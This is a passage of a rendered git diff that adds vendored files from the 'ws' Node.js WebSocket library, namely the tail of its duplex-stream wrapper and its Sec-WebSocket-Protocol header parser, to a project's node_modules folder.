||||
}
|
||||
|
||||
/**
|
||||
* Wraps a `WebSocket` in a duplex stream.
|
||||
*
|
||||
* @param {WebSocket} ws The `WebSocket` to wrap
|
||||
* @param {Object} [options] The options for the `Duplex` constructor
|
||||
* @return {Duplex} The duplex stream
|
||||
* @public
|
||||
*/
|
||||
function createWebSocketStream(ws, options) {
|
||||
let resumeOnReceiverDrain = true;
|
||||
let terminateOnDestroy = true;
|
||||
|
||||
function receiverOnDrain() {
|
||||
if (resumeOnReceiverDrain) ws._socket.resume();
|
||||
}
|
||||
|
||||
if (ws.readyState === ws.CONNECTING) {
|
||||
ws.once('open', function open() {
|
||||
ws._receiver.removeAllListeners('drain');
|
||||
ws._receiver.on('drain', receiverOnDrain);
|
||||
});
|
||||
} else {
|
||||
ws._receiver.removeAllListeners('drain');
|
||||
ws._receiver.on('drain', receiverOnDrain);
|
||||
}
|
||||
|
||||
const duplex = new Duplex({
|
||||
...options,
|
||||
autoDestroy: false,
|
||||
emitClose: false,
|
||||
objectMode: false,
|
||||
writableObjectMode: false
|
||||
});
|
||||
|
||||
ws.on('message', function message(msg, isBinary) {
|
||||
const data =
|
||||
!isBinary && duplex._readableState.objectMode ? msg.toString() : msg;
|
||||
|
||||
if (!duplex.push(data)) {
|
||||
resumeOnReceiverDrain = false;
|
||||
ws._socket.pause();
|
||||
}
|
||||
});
|
||||
|
||||
ws.once('error', function error(err) {
|
||||
if (duplex.destroyed) return;
|
||||
|
||||
// Prevent `ws.terminate()` from being called by `duplex._destroy()`.
|
||||
//
|
||||
// - If the `'error'` event is emitted before the `'open'` event, then
|
||||
// `ws.terminate()` is a noop as no socket is assigned.
|
||||
// - Otherwise, the error is re-emitted by the listener of the `'error'`
|
||||
// event of the `Receiver` object. The listener already closes the
|
||||
// connection by calling `ws.close()`. This allows a close frame to be
|
||||
// sent to the other peer. If `ws.terminate()` is called right after this,
|
||||
// then the close frame might not be sent.
|
||||
terminateOnDestroy = false;
|
||||
duplex.destroy(err);
|
||||
});
|
||||
|
||||
ws.once('close', function close() {
|
||||
if (duplex.destroyed) return;
|
||||
|
||||
duplex.push(null);
|
||||
});
|
||||
|
||||
duplex._destroy = function (err, callback) {
|
||||
if (ws.readyState === ws.CLOSED) {
|
||||
callback(err);
|
||||
process.nextTick(emitClose, duplex);
|
||||
return;
|
||||
}
|
||||
|
||||
let called = false;
|
||||
|
||||
ws.once('error', function error(err) {
|
||||
called = true;
|
||||
callback(err);
|
||||
});
|
||||
|
||||
ws.once('close', function close() {
|
||||
if (!called) callback(err);
|
||||
process.nextTick(emitClose, duplex);
|
||||
});
|
||||
|
||||
if (terminateOnDestroy) ws.terminate();
|
||||
};
|
||||
|
||||
duplex._final = function (callback) {
|
||||
if (ws.readyState === ws.CONNECTING) {
|
||||
ws.once('open', function open() {
|
||||
duplex._final(callback);
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
// If the value of the `_socket` property is `null` it means that `ws` is a
|
||||
// client websocket and the handshake failed. In fact, when this happens, a
|
||||
// socket is never assigned to the websocket. Wait for the `'error'` event
|
||||
// that will be emitted by the websocket.
|
||||
if (ws._socket === null) return;
|
||||
|
||||
if (ws._socket._writableState.finished) {
|
||||
callback();
|
||||
if (duplex._readableState.endEmitted) duplex.destroy();
|
||||
} else {
|
||||
ws._socket.once('finish', function finish() {
|
||||
// `duplex` is not destroyed here because the `'end'` event will be
|
||||
// emitted on `duplex` after this `'finish'` event. The EOF signaling
|
||||
// `null` chunk is, in fact, pushed when the websocket emits `'close'`.
|
||||
callback();
|
||||
});
|
||||
ws.close();
|
||||
}
|
||||
};
|
||||
|
||||
duplex._read = function () {
|
||||
if (ws.readyState === ws.OPEN && !resumeOnReceiverDrain) {
|
||||
resumeOnReceiverDrain = true;
|
||||
if (!ws._receiver._writableState.needDrain) ws._socket.resume();
|
||||
}
|
||||
};
|
||||
|
||||
duplex._write = function (chunk, encoding, callback) {
|
||||
if (ws.readyState === ws.CONNECTING) {
|
||||
ws.once('open', function open() {
|
||||
duplex._write(chunk, encoding, callback);
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
ws.send(chunk, callback);
|
||||
};
|
||||
|
||||
duplex.on('end', duplexOnEnd);
|
||||
duplex.on('error', duplexOnError);
|
||||
return duplex;
|
||||
}
|
||||
|
||||
module.exports = createWebSocketStream;
|
62
rng_farm/backend/node_modules/ws/lib/subprotocol.js
generated
vendored
Normal file
62
rng_farm/backend/node_modules/ws/lib/subprotocol.js
generated
vendored
Normal file
@ -0,0 +1,62 @@
|
||||
'use strict';
|
||||
|
||||
const { tokenChars } = require('./validation');
|
||||
|
||||
/**
|
||||
* Parses the `Sec-WebSocket-Protocol` header into a set of subprotocol names.
|
||||
*
|
||||
* @param {String} header The field value of the header
|
||||
* @return {Set} The subprotocol names
|
||||
* @public
|
||||
*/
|
||||
function parse(header) {
|
||||
const protocols = new Set();
|
||||
let start = -1;
|
||||
let end = -1;
|
||||
let i = 0;
|
||||
|
||||
for (i; i < header.length; i++) {
|
||||
const code = header.charCodeAt(i);
|
||||
|
||||
if (end === -1 && tokenChars[code] === 1) {
|
||||
if (start === -1) start = i;
|
||||
} else if (
|
||||
i !== 0 &&
|
||||
(code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */
|
||||
) {
|
||||
if (end === -1 && start !== -1) end = i;
|
||||
} else if (code === 0x2c /* ',' */) {
|
||||
if (start === -1) {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
|
||||
if (end === -1) end = i;
|
||||
|
||||
const protocol = header.slice(start, end);
|
||||
|
||||
if (protocols.has(protocol)) {
|
||||
throw new SyntaxError(`The "${protocol}" subprotocol is duplicated`);
|
||||
}
|
||||
|
||||
protocols.add(protocol);
|
||||
start = end = -1;
|
||||
} else {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
}
|
||||
|
||||
if (start === -1 || end !== -1) {
|
||||
throw new SyntaxError('Unexpected end of input');
|
||||
}
|
||||
|
||||
const protocol = header.slice(start, i);
|
||||
|
||||
if (protocols.has(protocol)) {
|
||||
throw new SyntaxError(`The "${protocol}" subprotocol is duplicated`);
|
||||
}
|
||||
|
||||
protocols.add(protocol);
|
||||
return protocols;
|
||||
}
|
||||
|
||||
module.exports = { parse };
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user